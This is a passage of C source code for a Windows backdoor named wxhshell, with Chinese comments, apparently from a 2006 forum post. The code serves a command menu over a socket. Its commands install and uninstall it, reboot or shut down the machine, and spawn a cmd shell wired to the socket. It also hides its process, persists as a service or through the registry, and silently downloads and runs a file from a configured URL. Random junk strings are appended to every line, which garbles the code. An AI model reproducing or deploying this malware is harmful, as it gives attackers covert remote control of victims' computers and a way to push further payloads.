  else { ~(0Y`+gC  
j'0*|f^z  
    switch(cmd[0]) { /0YNB)  
  Q+ST8  
  // 帮助 KF-gcRh  
  case '?': { XY QUU0R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <ct{D|mm  
    break; U14dQ=~b/  
  } Z*e7W O.  
  // 安装 1@qb.9wZ6  
  case 'i': { 7iJk0L$]x  
    if(Install()) .r*b+rc;]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U ._1'pW  
    else M[*:=C)H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 't_=%^ q  
    break; c!\y\r  
    } $BBfsaJPT  
  // 卸载 ptq{$Y{_  
  case 'r': { LA@}{hU  
    if(Uninstall()) x}>tX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!`C:C'  
    else ]R>k0X.V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?h3Ow`1G  
    break; ez5`B$$  
    } ?H c A&  
  // 显示 wxhshell 所在路径 246lFx G.  
  case 'p': { /+1Fa):  
    char svExeFile[MAX_PATH]; Oc'z?6axWv  
    strcpy(svExeFile,"\n\r"); SCH![Amq  
      strcat(svExeFile,ExeFile); o%9>elOju  
        send(wsh,svExeFile,strlen(svExeFile),0); -MEz`7c~  
    break; Gf]s?J^a  
    } Pd;ClMa%  
  // 重启 mVL,J=2  
  case 'b': { E;d 5$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CC-:dNb  
    if(Boot(REBOOT)) uN(~JPAw5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!U#C[a^  
    else { f8^58]wx0  
    closesocket(wsh); qRGb3l  
    ExitThread(0); C[&&.w8Pm  
    } v_@_J!s  
    break; 6uXYZ.A  
    } :d2u?+F  
  // 关机 t(rU6miN  
  case 'd': { G-^ccdT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W=\dsdnu*  
    if(Boot(SHUTDOWN)) *(MvNN*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{ T#M$T  
    else { 3ElpS^ 2W  
    closesocket(wsh); l=]vC +mU  
    ExitThread(0); n1/lE)  
    } Wkk Nyg,  
    break; 1;gSf.naG  
    } &"h!SkX/  
  // 获取shell ,< icW &a  
  case 's': { uWInx6p  
    CmdShell(wsh); QPcB_wUqu  
    closesocket(wsh); kZ.3\  
    ExitThread(0); )IhY&?jk?  
    break; QMxz@HGa|  
  } Lb{D5k*XU  
  // 退出 e,*[5xQ  
  case 'x': { ;2|H6IN"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /_a *C.a6  
    CloseIt(wsh); L-R}O 8  
    break; `~]ReJ!X%  
    } fx-*')  
  // 离开 oCYD@S>h  
  case 'q': { /nP=E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6;pREM+  
    closesocket(wsh); v+sbRuo8  
    WSACleanup(); r*wKYb  
    exit(1); )\;r V';  
    break; [E~TYk;  
        } E}=,"i  
  } 8vw]u_e  
  } Xt84Evo  
4"{wga~%/  
  // 提示信息 .Cus t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \8D~,$,``|  
} ,R =VzP&  
  } ~\G3 l,4  
sD3|Qj;  
  return; ;LE @Ezx  
} e"6i >w!  
6I#DlAU@v  
// shell模块句柄 $\!;*SSj  
int CmdShell(SOCKET sock) wcf_5T  
{ ACYn87tq  
STARTUPINFO si; ;alFK*K6  
ZeroMemory(&si,sizeof(si)); bVHi3=0{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |pR$' HO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j2M(W/_  
PROCESS_INFORMATION ProcessInfo; <R>ZG"m{  
char cmdline[]="cmd"; BD-=y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K:@=W1  
  return 0; I}IW!K  
} 2QRn c"  
|=T<WU1$  
// 自身启动模式 }z+"3A|  
int StartFromService(void) [1^wy#  
{ yo,!u\^x  
typedef struct r&sOM_BUF  
{ "'B%.a#k  
  DWORD ExitStatus; HjS^ nYl  
  DWORD PebBaseAddress; kG$8E  
  DWORD AffinityMask; =+S3S{\CK  
  DWORD BasePriority; .b oizW1+  
  ULONG UniqueProcessId; SYPMoE!U:  
  ULONG InheritedFromUniqueProcessId; l|em E ^  
}   PROCESS_BASIC_INFORMATION; \q'fB?bS^  
)N 6[rw<  
PROCNTQSIP NtQueryInformationProcess; a&"*UJk<?  
a3O_#l-Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u/'sdt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ng =5  
C}'="g^=sl  
  HANDLE             hProcess; S)@vl^3ec  
  PROCESS_BASIC_INFORMATION pbi; jsd]7C  
_lv:"/3R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GPLt<K!<#  
  if(NULL == hInst ) return 0; '2$!thm  
DF|s,J`98  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zN)\2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :qTcxzV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (<ZkmIXN  
1DtMY|wP  
  if (!NtQueryInformationProcess) return 0; T}Vpy`  
89#0vG7m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6H,=S`V]EK  
  if(!hProcess) return 0; dHF$T33It  
jZT :-w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &MZy;Sq  
lN>C#e<]  
  CloseHandle(hProcess); EvQwGt1)P  
ZNpExfGEU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {V% O4/  
if(hProcess==NULL) return 0; ,nB3c5X)|  
IKzRM|/  
HMODULE hMod; 8{SU?MHQLE  
char procName[255]; G? gXK W  
unsigned long cbNeeded; D *I;|.=u  
/:{_|P\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~uR6z//%  
n,a5LR  
  CloseHandle(hProcess); EvqAi/(g  
)QCM2  
if(strstr(procName,"services")) return 1; // 以服务启动 &_/%2qs  
"=\_++  
  return 0; // 注册表启动 6eYf2sZ;J  
} =l2Dm  
uV}WSoq[  
// 主模块 Gh[`q7B Q  
int StartWxhshell(LPSTR lpCmdLine) _OU.JrqC  
{ ;i9<y8Dha  
  SOCKET wsl;  Vm;Q w  
BOOL val=TRUE; 6$fnQcpJ  
  int port=0; + i@yZfT  
  struct sockaddr_in door; 5Sjr6l3Vq8  
m_!vIUOz  
  if(wscfg.ws_autoins) Install(); Jp3di&x  
&M3ES}6  
port=atoi(lpCmdLine); H]$=*(aje  
 +iH30v  
if(port<=0) port=wscfg.ws_port; Jhsv2,8 {  
q X%vRf0  
  WSADATA data; n~)HfY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rH&r6Xv[  
s'aV qB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f UF;SqT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r ctSS:1  
  door.sin_family = AF_INET; s |gD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u2-@?yt  
  door.sin_port = htons(port); nz(q)"A  
me:|!lI7YU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &xBK\  
closesocket(wsl); BnaU)E h  
return 1; ,> (bt%b  
} }x?H ~QQT  
gJ3OK!/  
  if(listen(wsl,2) == INVALID_SOCKET) { jxnQG A  
closesocket(wsl); En,)}yI  
return 1; ^\[LrPq e  
} 12tJrS*Z  
  Wxhshell(wsl); ? %+VG  
  WSACleanup(); Uc&6=5~Ys\  
D,dHP-v  
return 0; +-aU+7tu  
\7t5U7v8U  
} `?]rr0.}hp  
yD[zzEuQ  
// 以NT服务方式启动 fEj9R@u+h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g>!:U6K  
{ 2&gd"Ak(  
DWORD   status = 0; F8[B^alAe  
  DWORD   specificError = 0xfffffff; p`ADro*  
S?Bc~y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lP@)   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (~ ]g,*+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5"kx}f2$  
  serviceStatus.dwWin32ExitCode     = 0; S~k 0@  
  serviceStatus.dwServiceSpecificExitCode = 0; lHcZi  
  serviceStatus.dwCheckPoint       = 0; WXLe,7y  
  serviceStatus.dwWaitHint       = 0; &R'w-0k_  
,l$NJt   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N4a`8dS|  
  if (hServiceStatusHandle==0) return; Z#4JA/c!  
r*6"'W>c6  
status = GetLastError(); ;V(H7 ZM  
  if (status!=NO_ERROR) ){+[$@9  
{ a IpPL8a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KbwTj*k[  
    serviceStatus.dwCheckPoint       = 0; kUn2RZ6$#  
    serviceStatus.dwWaitHint       = 0; llHc=&y#  
    serviceStatus.dwWin32ExitCode     = status; .Na&I)udX.  
    serviceStatus.dwServiceSpecificExitCode = specificError; PG6[lHmi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X(GmiH /E  
    return; Jt2,LL:G  
  } ` URSv,(  
8"km_[JE e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c$Xe.:QY  
  serviceStatus.dwCheckPoint       = 0; (VYR!(17  
  serviceStatus.dwWaitHint       = 0; 9Hf*cQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cW)Oi^q%o2  
} NZo<IKD$  
oe(9mYWKa6  
// 处理NT服务事件,比如:启动、停止 t1e4H=d>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 01LZE,.  
{ IjG5X[@  
switch(fdwControl) 1mJbQ#5  
{ tS\=<T  
case SERVICE_CONTROL_STOP: ZjU=~)O}H  
  serviceStatus.dwWin32ExitCode = 0; x7 "z(rKl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wv, GBZ-f  
  serviceStatus.dwCheckPoint   = 0; /x  
  serviceStatus.dwWaitHint     = 0; bKk CW  
  { \npz .g^c_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W\it+/  
  } ;".z[l*  
  return; F2IC$:e M  
case SERVICE_CONTROL_PAUSE: 8yE!7$Mj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l60ikc4$I  
  break; g!1I21M1~  
case SERVICE_CONTROL_CONTINUE: \f(Y:}9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G*i.a*9<)  
  break; ?SC3Vzr  
case SERVICE_CONTROL_INTERROGATE: uu}a:qrY  
  break; 1P_Fe[8  
};  5ZnSA9?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y 3o^Euou  
} +w "XNl  
{]&R8?%  
// 标准应用程序主函数 JAc@S20v\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Qd}.EG  
{ 1^aykrnQ>  
;"1/#CY773  
// 获取操作系统版本 &&X$d!V  
OsIsNt=GetOsVer(); L~*u4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9[z'/ U.Bn  
/@&(P#h  
  // 从命令行安装 `$J'UXtGc  
  if(strpbrk(lpCmdLine,"iI")) Install(); /^w"' '  
a*Rz<08  
  // 下载执行文件 3PfiQ|/b  
if(wscfg.ws_downexe) { <z^SZ~G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q>kiVvc  
  WinExec(wscfg.ws_filenam,SW_HIDE); saatU;V  
} K<c2PFo)Q  
^~^mR#<P$  
if(!OsIsNt) { %VzYqj_P"  
// 如果时win9x,隐藏进程并且设置为注册表启动 \WWG>OUh.U  
HideProc(); z4CJn[m9  
StartWxhshell(lpCmdLine); BSN6|W  
} T3=(`  
else 49o\^<4b  
  if(StartFromService()) _zdNLwE[  
  // 以服务方式启动 Q}=fVY  
  StartServiceCtrlDispatcher(DispatchTable); s4 (Wp3>3i  
else $h,d? .u6w  
  // 普通方式启动 ZQ|5W6c  
  StartWxhshell(lpCmdLine); 'r~8  
rB,ldy,f  
return 0; >gr<^$  
}
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只看该作者 1 发表于: 2006-10-10
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